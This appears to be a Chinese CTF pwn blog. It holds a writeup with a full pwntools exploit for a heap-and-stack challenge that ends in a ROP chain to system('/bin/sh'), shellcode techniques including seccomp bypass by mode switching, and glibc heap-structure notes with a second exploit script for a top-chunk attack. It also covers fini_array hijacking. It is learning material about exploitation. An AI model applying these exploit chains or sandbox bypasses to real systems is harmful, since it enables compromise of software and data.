No_t1me's blog

lost in binary

跟着共享文档中师傅写的wp复现了一遍nipple(这是整个比赛中我唯一有能力复现的题目

题目乍看是一道比较经典的菜单题截屏2025-11-03 14.45.50

然而初步逆向时却发现还是挺复杂的,特别是一些输出以及读入逻辑:简单来说对于某些特定的内容程序会用一个函数存入(void *)operator new[]((unsigned __int64)v4);动态内存中,然而对于存取也进行了一系列的操作:他会申请(原始大小*2+2)字节的chunk并将原始data中每个字节的低4位作为单独一字节的低4位同时保留原先动态内存中该字节高4位的值,高4位作为下一个字节的第四位的值保留原先高四位

这里举一个例子:

截屏2025-11-03 14.55.52

经过函数加工存储为:

堆块中存储信息也是这个形式,特别注意在4.Repack功能中,对于堆块的修改也是遵循上述的规定进行写入。

这个读写逻辑的静态逆向比较难,个人感觉在要做题中需要多进行动态调试,通过动调并选择正确的关注点往往能够更快的弄懂程序的逻辑

程序中还有许多第一次接触到的新知识:这里在菜单循环前new了一个0x1000大小的堆块,并将栈变量指向它。这是一个预分配的内存池,栈上存在0x10的变量分别存其基址以及游标(代表内存池的使用情况)。其实内存池与我之前接触的大部分堆题中的bss段存堆信息的作用是一样的。将这些信息存在动态内存中更加灵活,实现可拓展性。当然,如果我们能够通过构造堆overlapping或者堆溢出能控制这个内存池中的数据那么就达成了任意地址读写了。这里的内存池存在extend函数,总体逻辑就是如果游标以及到堆块的尾部的话就申请2倍自己大小复制原先内容然后free掉自己。这也一定程度上允许我们控制对应堆块的相对位置(本题没有用到)。

关注new功能:发现首先new的chunk没有正确初始化堆块数据便利用parse函数到新chunk中,从而造成libc与heap泄露。

再关注repack功能,发现读取长度可以自己选定一个不大于于chunk的size的值进行读入,这样输入大size加少数据,就能把栈中数据带出来。同时因为将数据parse进堆时同样逻辑,会造成堆溢出,通过repack在内存池地址旁的chunk溢出修改堆指针就能实现泄露cannary。getline可以实现栈溢出,修复指针(函数结尾会根据其free资源)打ROP即可。

由于读入getline存在\x00截断所以无法直接泄露存储在chunk中的堆数据,一开始通过堆溢出想去覆盖对应chunk的0x18位置,但是因为getline输入仍然存在\x00截断,有点蠢。。。。

同时对于修改指针存在各种限制:首先写入的数据覆盖只能覆盖每个字节的低4位,因此直接覆盖到存在cannry_chunk+0x19的位置行不通(高4位不同),通过该低4位为1刚好能够错开cnnary中\x00字节让它分散到两个字节中,也就没有\x00了能够正常带出来cannary。输出逻辑的判断是对于每两字节判断是否同时为0作为输出结束标识。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
context.terminal = ['gdb','-p', '16296']
context.log_level='debug'
context.arch = 'amd64'
p=process('./attachment')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def cmd(i, prompt=b'Choice: '):
p.sendlineafter(prompt, str(i).encode())

def add(length):
cmd('1')
p.sendlineafter("Length (bytes, 0..0xf000): ", str(length).encode())

def show(idx):
cmd('2')
p.sendlineafter("Index: ", str(idx).encode())

def edit(idx,length,content):
cmd('4')
p.sendlineafter("Index: ", str(idx).encode())
p.sendlineafter("Length (bytes, 0..0xf000): ", str(length).encode())
p.sendafter("Data: ", content)

def staylower(data):
if data == 0:
return b'' # 或者返回 b'\x00' 如果你需要处理0

ret = b''
iterator = []

# 提取低4位
temp = data
while temp != 0:
iterator.append(temp & 0xf)
temp >>= 8

# 组合字节
for i in range(len(iterator) // 2):
a = iterator[2 * i]
b = iterator[2 * i + 1]
result = (a << 4) + b
ret += bytes([result])

return ret

def debug():
gdb.attach(p)
pause()
add(0x3b) #改堆块存cannary
#泄露libc与heap地址
add(0xf000)
# pause()
add(0xf000)
show(2)
leak_libc=u64(p.recv(6).ljust(8,b'\x00'))
libc.address=leak_libc-0x203b20
log.success(hex(libc.address))
pop_rdi=libc.address+0x10f75b
ret=libc.address+0x2a875
# debug()
add(0x23)#改堆块在内存池之前,用来溢出覆盖堆块指针
show(3)
leak_heap=u64(p.recv(5).ljust(8,b'\x00'))
target=(leak_heap<<12)+0x601
log.success(hex(target))

#leak cnnary
edit(0,0x20,b'a'*(0x18)+b'\n\n')
# debug()
#改指针➕泄露
edit(3,0x3c,b'a'*(0x24)+staylower(0x1011)+b'\x00\x00\x00'+staylower(target)+b'\n\n')
debug()
show(0)
p.recv(0x17)
out_put=p.recv(9).hex().lstrip('0x')[1:-1]
cannary=u64(bytes.fromhex(out_put))
log.success(out_put)
log.success(hex(cannary))
#修复指针
edit(3,0x3c,b'a'*(0x24)+staylower(0x1011)+b'\x00\x00\x00'+staylower(target-1)+b'\n\n')
# debug()
#栈溢出ROP
edit(1,0x78,cyclic(0x18)+p64(cannary)+cyclic(0x38)+p64(pop_rdi)+p64(next(libc.search('/bin/sh')))+p64(ret)+p64(libc.sym['system'])+b'\n\n')
#触发ret
cmd('\0')

p.interactive()


总结收获

总的来说题目的利用手法并不是很难,堆溢出泄露数据➕栈溢出。但是题目的逆向量相对较大,对于堆的开辟以及释放过程比较绕,数据写入读取逻辑需要细心逆向。对于ida一打开感觉很难从头逆到尾的程序可以先gdb动态调试一下,关注堆块以及数据的变化再结合静态逆向食用效果更佳!

本帖将持续记录Linux下shellcode的一些编写技巧,包括长度的优化,特定限制的绕过,shellcode的绕过

鉴于本人汇编基础较弱,目前在持续学习中,如有不正确或含糊的表述,欢迎联系我与我讨论!

Shellcode的编写在二进制安全中是不可避免的,当回归到汇编这种较为底层的语言去实现一些特定功能时,我们往往会发现不只有一种方法能够实现我们的目的。这里我就拿64位中实现 read(0,0x404000,0x50)来举例子:

1.最直接的传值syscall

1
2
3
4
5
6
7
8
9
section .text
global _start

_start:
mov rax, 0 ; sys_read 系统调用号
mov rdi, 0 ; fd = 0 (stdin)
mov rsi, 0x404000 ; buf = 0x404000
mov rdx, 0x50 ; count = 0x50
syscall

2.利用栈传值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
section .text
global _start

_start:
push 0x50 ; count
push 0x404000 ; buf
push 0 ; fd

pop rdi ; fd
pop rsi ; buf
pop rdx ; count

mov rax, 0 ; sys_read
syscall

3.切换到32位操作模式,用中断门调用read操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
section .text
global _start

[bits 64]
_start:
; 直接使用远返回到32位模式
push 0x2b ; 32位CS
push code32 ; 32位EIP
retfq ; 远返回

[bits 32]
code32:
; 手动设置32位栈
mov esp, 0x7fffe000

; 32位系统调用
mov eax, 3 ; sys_read
mov ebx, 0 ; stdin
mov ecx, 0x404000 ; buffer
mov edx, 0x50 ; size
int 0x80

mov eax, 1 ; sys_exit
mov ebx, 0
int 0x80

可以看到汇编的灵活性是非常大的,当然在实战中对于shellcode的编写往往存在着各种各样的限制,比如长度有限,shellcode分割,沙箱保护,特定字符检测等等。通过汇编的灵活性,在某些情况下能够绕过重重难关从而达到我们的目的。

优化shellcode的长度

列一下常见的64位指令长度

栈的操作
  • pop/push reg 1字节
  • push imm 1+立即数的字节数(1/2/4)
赋值/计算操作
  • Inc/dec reg 字节
  • mov/add reg64,reg64 2字节
  • mov/add reg, [reg] 3字节
  • mov/add reg, imm32 5字节
  • mov/add reg64, imm32 7字节
  • mov/add reg64, imm64 10字节
程序流
  • ret 1字节
  • syscall 2字节
  • jmp等跳转 short 2字节
  • jmp/call rel32 5字节

经过对比栈操作与赋值的指令,发现当使用 push imm + pop reg 替代 `mov reg, imm会使汇编更加精简。同时在jmp到shellcode前的上下文也是我们需要观察的,对于栈,寄存器上的数据没准我们就能利用上来减少shellcode的长度。

例子待补充

shellcode分块

有些情景下我们不具备写入连续内容的能力,那么需要将我们写入的shellcode拼凑到一起从而形成一段完整的执行链。这里需要用到相对跳转,也就是jmp $+0x8:这段汇编的意思为跳转到当前eip+0x8的地址上去执行,其汇编拆解便是EB 08

  • EB: 短跳转操作码
  • 08: 相对偏移量(从下条指令开始计算)

在知道对应内存块的相对位移的情况下(通常来说只要位于同一内存段偏移一般固定)在每个内存块尾部加上这么一条相对跳转指令即可

题目试例:

西电mini的checkin题

题目的大致执行流程是向三块堆空间中分别读取0x18数据,然后将堆空间变成可执行的,并跳到第一个堆块空间,题目开了沙箱ban掉execve系统调用。

非常直球的题目,要在三段堆空间构造orw的shellcode。动调查看三个堆块之间的相对偏移(这个是固定的),在每一段shellcode末尾加上jmp $x即可

poc脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.terminal = ['gdb','-p', '16296']
context.log_level='debug'
context.arch = 'amd64'
sc_open=asm('''
mov rax, 0x67616c662f
push rax /* '/flag' */
mov rdi,rsp
xor rsi, rsi
xor rdx, rdx
push 2
''')
print(hex(len(sc_open)))
sc_read=asm('''
/* read(fd, stack, 0x100) */
pop rax
syscall
mov rdi, rax /* 返回的fd 3*/
mov rsi, rsp /* 读取到栈上 3*/
push 0x50
pop rdx /*读取0x50字节 1*/
xor rax, rax /* SYS_read = 0 占3字节*/
syscall

''')
print(hex(len(sc_read)))
sc_write=asm('''
/* write(1, stack, rax) */
mov rdi, 1 /* stdout = 1 */
mov rax, 1 /* SYS_write = 1 */
syscall
''')
print(hex(len(sc_write)))
# p=process('./checkin')
p=remote('10.21.162.149',55771)
p.recvuntil("signin~\n")
p.send(sc_open.ljust(0x16,b'\x90')+asm('jmp $+0xa'))
p.send(sc_read.ljust(0x16,b'\x90')+asm('jmp $+0xa'))
# gdb.attach(p)
# pause()
p.send(sc_write.ljust(0x18,b'\x90'))
p.recvuntil("Gashat!\n\n")
flag=p.recvline()
print(flag)
p.interactive()

绕过特定字符的检查

有些情况下,题目会对于你输入的shellcode进行某些检查,我们需要调整我们的shellcode进行检测绕过。

  • 有些题目会先strlen(inputshellcode)得到shellcode长度,再根据长度进行检测。在这种情况下我们在shellcode开头构造存在\x00的汇编(前提是读取shellcode时没有\x00截断),这样检测实际上检测的内容是\x00前面的内容。而后面的shellcode就可以自由发挥啦

例子待补充

突破沙箱的限制

在题目中遇到沙箱ban掉一些特定的系统调用的情况在ctf中屡见不鲜,沙箱的规则制定相对自由,不同题目可以不同组合ban,记录一下目前接触到的突破沙箱构造法

等价函数替换

一系列可能用到的等价替换函数:

  • 使用 execveat 代替 execve

  • 使用 openat 代替 open

  • 使用 readv/writev 代替 read/write

  • 使用 mmap2 代替 mmap

  • orw中,使用 sendfile,代替 read/write

切换指令模式绕过黑名单

当seccomp-tool工具发现沙箱中没有判断指令模式并且采取的是黑名单ban的模式,那么我们可以通过长返回retf的方式来实现架构切换。因为32位与64位同一个系统调用的调用号是不同的。

注意构造retf的栈布局:64——>32位shellcode模版

1
2
3
4
5
6
7
xor esp, esp
mov rsp, 0x400100
mov eax, 0x23 ; cs
mov [rsp+4], eax
mov eax, 0x400800 ; ip
mov [rsp], eax
retf

纯ascii码shellcode

这部分我还没碰到到过,这里有篇还没啃的blog:https://nets.ec/Ascii_shellcode

这部分感觉技巧性很强,多用xor,inc,dec等精细到字的操作,对于shellcode水平要求很高,我如果真遇到应该也是试试工具了(雾

在面试中被问到unsortedbin attack的写入值的意义,知道是main_areana+88的位置,但是具体的意义以及利用方式却没有深究过。记录一下对于两个堆管理结构的学习笔记:main_arena以及tcache_perthread_struct的结构学习

Main_arena

全局一个,位于glibc模块的内存附近,用于管理进程中主堆(用sbrk分配),是arena环形链表的头节点。arena环形链表的非头节点为thread arena,通过mmap分配。

libc中对于main_rena的定义

这里用的是2.35的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
struct malloc_state
{
__libc_lock_define (, mutex); //锁

/* Flags (formerly in max_fast). */
int flags; //标志位

int have_fastchunks; //快速判断fastbin是后有chunk

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS]; //各个size的fastbin首地址

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top; //指向top_chunk

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder; //最近unsortedbin分配剩余的chunk地址

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2]; //记录bins的信息

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next; //指向arena链的后一个arena

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free; //管理未被线程使用的空闲 arena

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads; //记录使用此 arena 的线程数量

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

struct malloc_par {
/* Tunable parameters */
unsigned long trim_threshold; // 收缩堆的阈值
INTERNAL_SIZE_T top_pad; // top chunk的额外填充
INTERNAL_SIZE_T mmap_threshold; // 使用mmap的阈值
INTERNAL_SIZE_T arena_test; // arena测试值
INTERNAL_SIZE_T arena_max; // arena最大数量

#if HAVE_TUNABLES
/* Transparent Large Page support. */
INTERNAL_SIZE_T thp_pagesize; // 透明大页大小
INTERNAL_SIZE_T hp_pagesize; // 大页大小
int hp_flags; // 大页标志
#endif

/* Memory map support */
int n_mmaps; // 当前mmap映射数量
int n_mmaps_max; // 最大mmap映射数
int max_n_mmaps; // 历史最大mmap数
int no_dyn_threshold; // 是否禁用动态阈值

/* Statistics */
INTERNAL_SIZE_T mmapped_mem; // mmap分配的总内存
INTERNAL_SIZE_T max_mmapped_mem;// mmap内存的历史最大值

/* First address handed out by MORECORE/sbrk. */
char *sbrk_base; // sbrk堆的起始地址

#if USE_TCACHE
/* Maximum number of buckets to use. */
size_t tcache_bins; // tcache bin数量
size_t tcache_max_bytes; // tcache最大字节数
size_t tcache_count; // 每个bin的chunk数量
size_t tcache_unsorted_limit; // tcache未排序限制
#endif
};

/* There are several instances of this struct ("arenas") in this
malloc. If you are adapting this malloc in a way that does NOT use
a static or mmapped malloc_state, you MUST explicitly zero-fill it
before using. This malloc relies on the property that malloc_state
is initialized to all zeroes (as is true of C statics). */

static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,//未上锁
.next = &main_arena, //指向自己形成arena链表闭环
.attached_threads = 1 //初始只有主线程附在arena上
};

/* There is only one instance of the malloc parameters. */

static struct malloc_par mp_ =
{
.top_pad = DEFAULT_TOP_PAD,
.n_mmaps_max = DEFAULT_MMAP_MAX,
.mmap_threshold = DEFAULT_MMAP_THRESHOLD,
.trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
.arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
,
.tcache_count = TCACHE_FILL_COUNT,
.tcache_bins = TCACHE_MAX_BINS,
.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
.tcache_unsorted_limit = 0 /* No limit. */
#endif
};

这里还有个全局唯一的mp_,作为堆分配的配置策略以及记录arena的统计中心

这里定义main_arena用了C 语言的 指定初始化器,具体解释可以见https://blog.csdn.net/weixin_42258222/article/details/105221108

堆管理的结构实际上是malloc_state,而main_arena的定义其实就是初始化了一些malloc_state的成员,具体意义在注释中解释。

这里解释一下线程附着在arena的意义:

  • 线程第一次调用 malloc 时,glibc 会根据线程 ID 做哈希,从环形链表挑一个 arena;
  • 若该 arena 当前空闲attached_threads == 0),就把计数 +1,同时把线程的 tcb->arena 指针指向它——此时称线程“附着”到这块 arena
  • 线程后续再 malloc/free 都直接复用这块 arena,无需重新哈希
  • 线程退出或调用 malloc_consolidate 迁移时,计数减 1;减到 0 表示没有任何线程再用它,这块 arena 就可以被整个释放或回收进全局缓存。

这里详细解释一下其中的bin数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 索引布局:
bins[0] // 未使用
bins[1] = unsorted_bin.fd // unsorted bin 前向指针
bins[2] = unsorted_bin.bk // unsorted bin 后向指针

bins[3] = smallbin[1].fd // size 0x20 的前向指针
bins[4] = smallbin[1].bk // size 0x20 的后向指针
bins[5] = smallbin[2].fd // size 0x30 的前向指针
bins[6] = smallbin[2].bk // size 0x30 的后向指针
// ...
bins[125] = smallbin[62].fd // size 0x3f0 的前向指针
bins[126] = smallbin[62].bk // size 0x3f0 的后向指针

bins[127] = largebin[0].fd // large bins 开始...
// 一直到 bins[253]

tcache_perthread_struct

管理对应线程的tcache,存储在堆内存开头,自身作为一个chunk被管理,在第一次需要时动态创建,一般是内存中第一个chunk。2.35版本下的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;

/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];// 每个bin的chunk计数
tcache_entry *entries[TCACHE_MAX_BINS];// 每个bin的首个chunk
} tcache_perthread_struct;

利用实战

TSctf-2025的uniform,题目中给了固定大小的chunk无限次uaf。考虑打unsortedbin attack攻击,攻击buf数组(用来存堆指针的数组)中某一索引,实现对于main_arena中自top成员后0x80大小的控制权。修改top指针可以实现迁移top_chunk而达到任意地址分配,当然这里注意对应位置要符合16位地址对其以及pre_size位为1。这里题目刚好存在一个全局变量在buf数组前面,构造此buf为一个合法且足够分配0x90大小chunk的top_chunk size,然后再通过main_arena修改将top_chunk迁移并修复unsorted_bin,分配就能控制buf数组啦。

main_arena中构造后,使top指向buf

构造后的main_arena中top指向buf

成功将堆分配到buf字段

成功将堆分配到buf字段

通过envirno泄露栈地址并覆盖返回值为rop链即可。

Poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
context.terminal = ['gdb', '-p']
context.log_level='debug'
context.arch = 'amd64'
p=process('./pwn')
libc=ELF('./libc-2.23.so')
# p=remote('10.21.162.149',64649)

def add(idx):
p.sendlineafter('choice>',b'1')
p.sendlineafter('idx:',str(idx).encode())


def edit(idx,content):
p.sendlineafter('choice>',b'3')
p.sendlineafter('idx:',str(idx).encode())
p.sendafter('description:',content)

def delete(idx):
p.sendlineafter('choice>',b'2')
p.sendlineafter('idx:',str(idx).encode())

def show(idx):
p.sendlineafter('choice>',b'4')
p.sendlineafter('idx:',str(idx).encode())

def debug():
gdb.attach(p)
pause()



add(0)
add(1)
add(2)
add(3)
add(4)
add(5)
add(6)#防止合并
#泄漏libc以及heap地址
delete(1)
show(1)
leak_libc=u64(p.recv(6).ljust(8,b'\x00'))
libc.address=leak_libc-0x3c4b78
log.success(hex(libc.address))
global_max_fast=libc.address+0x3c67f8
pop_rdi=libc.address+0x21112
pop_rsi=libc.address+0x202f8
pop_rdx_rsi=libc.address+0x1151c9
buf=0x602068 #存堆地址
delete(3)
delete(5)
show(3)
leak_heap=u64(p.recv(4).ljust(8,b'\x00'))
heap_base=leak_heap+0x130
log.success(hex(heap_base))
# edit(1,p64(leak_heap)+p64(heap_base))
# edit(3,p64(0)+p64(0x61)+p64(heap_base-0x130)+p64(heap_base+0x110))
# edit(5,p64(heap_base))
# add(1) 这里是尝试fsop
add(5)
add(3)
add(1)
#接下来开始攻击buf修改top_chunk
delete(1)
edit(1,p64(leak_libc)+p64(buf))
add(8)
#修复崩溃并且将top_chunk放到buf数组前面,
p.sendlineafter('choice>',b'1131796')
p.sendlineafter('challenge?\n',str(0xf1).encode())
p.sendafter('are!\n',b'\n')
edit(2,p64(buf-0x10)+p64(0)+p64(leak_libc)*2)
debug()
add(7)
#这次请求会请求到buf数组
#通过全局变量environ泄露栈地址
edit(7,p64(libc.sym['environ']))
show(0)
stack=u64(p.recv(6).ljust(8,b'\x00'))
target=stack-0xf0
log.success(hex(target))
edit(2,b'flag\x00')
file_adr=heap_base-0x90
#覆盖栈上的返回地址orw
edit(7,p64(target))
orw=flat([
pop_rdi,file_adr,pop_rdx_rsi,0,0,libc.sym['open'],pop_rdi,3,pop_rdx_rsi,0x100,file_adr,libc.sym['read'],pop_rdi,1,libc.sym['write']
])
#这里吐槽一下远程环境和本地不一样,open时的句柄来到了6,本地是正常的3
edit(0,orw)
p.sendlineafter('choice>',b'10')
p.interactive()

在网上偶然发现一种比较底层的控制程序流方法:__libc_csu_fini劫持

利用条件是fini_array为可写状态。利用readelf -S ./pwn | grep .fini_array命令可以查看fini_array位置

然而在我利用本地libc运行demo尝试复现时发现:__libc_start_main函数貌似与题目中不太一样,甚至已经找不到__libc_csu_fini函数了,那么这个利用方法到底能否用于高libc版本的程序呢?我打算一探究竟。

首先过一遍c程序的执行流程:
start函数(text段的起点)调用了libc_start_main

在libc_start_main中调用__libc_start_call_main

__libc_start_call_main调用了main函数

返回__libc_start_call_main中并调用exit退出。

在GLIBC 3.35下,我发现在exit中__libc_csu_fini函数不见了,而取而代之实现对应功能的是(_dl)_call_fini函数

梳理一下libc_start_main流程(动态链接):
__libc_start_main
├── 安全初始化
├── 线程局部存储(TLS)初始化
├── 堆栈保护设置
├── 动态链接器初始化
├── 环境变量设置
├── 调用全局构造函数
│ ├── _init()
│ ├── frame_dummy() [异常处理框架]
│ └── .init_array 中的所有函数

__libc_start_call_main (GLIBC 2.34+)
│ ↓
│ main() [用户程序]
│ ↓
│ exit()
│ ├── 最后在_dl_call_fini函数内遍历调用fini_array数组

注:在静态链接的程序exit()最后调用到call_fini()

这里需要详细解释一下exit的流程:
exit(status)
↓ 调用
__run_exit_handlers(status, &__exit_funcs, true, true)
↓调用
_dl_fini() 进行动态链接器清理
↓函数执行过程
↓遍历linkmap生成模块列表
_dl_sort_maps(_dl_loaded, _dl_nloaded, NULL) ← 为模块排序
↓遍历排序后的模块列表
↓对每个模块调用_dl_call_fini
↓调用_IO_cleanup,其中有著名的_IO_flush_all
执行 .fini_array _fini()

这里逆一下_dl_call_fini的源码:

如果在程序执行流中如果有机会通过任意地址写或者数组越界的方式写到fini_array数组的位置,就能实现劫持程序流了?考虑一下题目的两种利用的情景:

1.构造array实现main无限loop

fini_array[0] = __libc_csu_fini
fini_array[1] = main

需要注意控制fini_array长度大于2

通过调试发现存储array长度的数据存在elf的.dynamic段


对.dynamic段的具体解释见:https://blog.csdn.net/qfanmingyiq/article/details/124527430
简单来说.dynamic 段为动态链接器提供了:

  • 依赖关系:需要加载哪些共享库
  • 符号解析:如何查找和解析符号
  • 重定位信息:如何修正地址引用
  • 初始化与终结流程:何时调用构造函数与析构函数
  • 版本控制:符号版本兼容性

那么fini array的长度和什么东西有关呢。这里先明确一下fini array存在的意义:为了确保资源正确释放
那么什么资源需要释放呢?问ai给出了几种:

影响因素 对数量的贡献 示例
全局 C++ 对象 +N (每个对象) MyClass obj1, obj2;
destructor 属性 +N (每个函数) __attribute__((destructor))
静态库初始化 +M (库决定) 链接的静态库
编译器生成 +K (编译器决定) 异常处理清理等

2.构造array实现无限长的ROP链

fini_array[0] = leave_ret
fini_array[1] = ret
fini_array[2]=ROP链子

这个方法利用的前提是在libc_csu_fini中遍历调用fini_array时函数将栈给迁移到了fini_array上,但是在GLIBC3.35以上用的 _dl_call_fini()中栈并没有迁移到这上面,当然也就失效了。

总结一下

综合看来这种利用方法貌似比较过时了(主要局限在fini_array数组的位置不可写),不过这次对于libc_start_main函数的探索也受益良多,本人对于底层的原理尚有很多待探索的。感受较深的就是版本的更迭也就意味攻击手法的更新也需跟上,那么对底层原理的熟练掌握以及积极发动主观能动思考能力也就不可或缺,加油!

目前状态: 鉴于过菜还在努力学习中……..


这个博客将会记录:

  • Windows 内核学习过程
  • **二进制安全 ** 知识记载
  • CTF pwn方向 Writeups
  • 一些心得(也许)

0%